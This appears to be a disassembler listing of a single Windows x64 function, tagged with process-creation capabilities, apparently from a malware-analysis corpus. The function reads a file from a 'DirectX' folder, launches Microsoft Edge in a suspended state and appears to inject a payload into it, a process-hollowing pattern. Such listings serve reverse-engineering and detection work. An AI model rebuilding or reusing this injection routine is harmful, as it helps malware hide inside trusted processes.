Function at 0x14013f252
Capabilities:
Create process on windows
Create process suspended
Terminate process

Disassembly:
jmp 0x1401cadb0
push rbp
push rsi
push rdi
sub rsp, 0x4c0
lea rbp, [rsp + 0x50]
lea rdi, [rsp + 0x50]
mov ecx, 0xbc
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x1406af1c0]
xor rax, rbp
mov qword [rbp + 0x468], rax
lea rcx, [0x1406e815f]
call fcn.140143037
nop
call fcn.14013f71b
nop
lea rax, str.C:WindowsDirectX
mov qword [rbp + 8], rax
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 8]
call fcn.1401401f2
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x1401cae29
mov eax, 0xffffffff
jmp 0x1401cb26c
mov rcx, qword [rbp + 0x48]
call fcn.1401427f4
mov dword [rbp + 0x64], eax
cmp dword [rbp + 0x64], 0
jne 0x1401cae5b
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
mov eax, 0xffffffff
jmp 0x1401cb26c
mov r8d, 0x68
xor edx, edx
lea rcx, [rbp + 0x90]
call fcn.14014080f
nop
mov dword [rbp + 0x90], 0x68
mov r8d, 0x18
xor edx, edx
lea rcx, [rbp + 0x118]
call fcn.14014080f
nop
lea rax, [rbp + 0x118]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x90]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 0
jne 0x1401caf05
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013b47c
nop
mov eax, 0xffffffff
jmp 0x1401cb26c
lea rdx, [rbp + 0x164]
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
nop
mov qword [rbp + 0x188], 0
mov qword [rbp + 0x190], 0
cmp dword [rbp + 0x164], 0
je 0x1401cafac
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x3e8]
call fcn.14013dcb8
lea rcx, [rbp + 0x3b8]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [rbp + 0x3b8]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x190], 0
je 0x1401caf8f
cmp qword [rbp + 0x188], 0
jne 0x1401cafaa
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013b47c
nop
mov eax, 0xffffffff
jmp 0x1401cb26c
jmp 0x1401cb01d
lea rdx, [rbp + 0x118]
lea rcx, [rbp + 0x448]
call fcn.14013c5de
lea rcx, [rbp + 0x418]
mov rdi, rcx
mov rsi, rax
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
lea rax, [rbp + 0x188]
lea rcx, [rbp + 0x418]
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.WS2_32.dll_recv
rep movsb byte [rdi], byte [rsi]
cmp qword [rbp + 0x190], 0
je 0x1401cb002
cmp qword [rbp + 0x188], 0
jne 0x1401cb01d
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013b47c
nop
mov eax, 0xffffffff
jmp 0x1401cb26c
mov rcx, qword [rbp + 0x48]
call fcn.140142547
mov dword [rbp + 0x1b4], eax
cmp dword [rbp + 0x1b4], 0
je 0x1401cb03e
cmp dword [rbp + 0x164], 0
je 0x1401cb050
cmp dword [rbp + 0x1b4], 0
jne 0x1401cb05a
cmp dword [rbp + 0x164], 0
je 0x1401cb05a
mov eax, 0xffffffff
jmp 0x1401cb26c
cmp dword [rbp + 0x1b4], 0
je 0x1401cb074
mov rcx, qword [rbp + 0x48]
call fcn.14013973f
mov dword [rbp + 0x1d4], eax
jmp 0x1401cb083
mov rcx, qword [rbp + 0x48]
call fcn.14013a793
mov dword [rbp + 0x1d4], eax
cmp dword [rbp + 0x1d4], 0xffffffff
jne 0x1401cb0a7
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013b47c
nop
mov eax, 0xffffffff
jmp 0x1401cb26c
cmp dword [rbp + 0x164], 0
je 0x1401cb0cb
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x118]
call fcn.14013fcc0
mov dword [rbp + 0x1f4], eax
jmp 0x1401cb0e4
mov rdx, qword [rbp + 0x190]
mov rcx, qword [rbp + 0x118]
call fcn.1401434f1
mov dword [rbp + 0x1f4], eax
cmp dword [rbp + 0x1f4], 0xffffffff
jne 0x1401cb108
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013b47c
nop
mov eax, 0xffffffff
jmp 0x1401cb26c
mov eax, dword [rbp + 0x1f4]
cmp dword [rbp + 0x1d4], eax
je 0x1401cb131
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013b47c
nop
mov eax, 0xffffffff
jmp 0x1401cb26c
cmp dword [rbp + 0x1b4], 0
je 0x1401cb14b
mov rcx, qword [rbp + 0x48]
call fcn.140141f34
mov dword [rbp + 0x214], eax
jmp 0x1401cb15a
mov rcx, qword [rbp + 0x48]
call fcn.14013cfc5
mov dword [rbp + 0x214], eax
cmp dword [rbp + 0x1b4], 0
je 0x1401cb180
cmp dword [rbp + 0x214], 0
jne 0x1401cb180
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013cf84
test eax, eax
jne 0x1401cb1f2
cmp dword [rbp + 0x1b4], 0
je 0x1401cb1a6
cmp dword [rbp + 0x214], 0
je 0x1401cb1a6
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013ba35
test eax, eax
jne 0x1401cb1f2
cmp dword [rbp + 0x1b4], 0
jne 0x1401cb1cc
cmp dword [rbp + 0x214], 0
jne 0x1401cb1cc
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013a1ad
test eax, eax
jne 0x1401cb1f2
cmp dword [rbp + 0x1b4], 0
jne 0x1401cb207
cmp dword [rbp + 0x214], 0
je 0x1401cb207
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013e5fa
test eax, eax
je 0x1401cb207
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x118]
call fcn.14013d682
nop
xor eax, eax
jmp 0x1401cb26c
cmp qword [rbp + 0x48], 0
je 0x1401cb224
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x48]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
nop
cmp qword [rbp + 0x120], 0
je 0x1401cb23c
mov rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
cmp qword [rbp + 0x118], 0
je 0x1401cb267
mov edx, 0xffffffff
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 0xffffffff
mov rdi, rax
lea rcx, [rbp - 0x50]
lea rdx, [0x1403de400]
call fcn.1401414cb
mov rax, rdi
mov rcx, qword [rbp + 0x468]
xor rcx, rbp
call fcn.14013dc90
lea rsp, [rbp + 0x470]
pop rdi
pop rsi
pop rbp
ret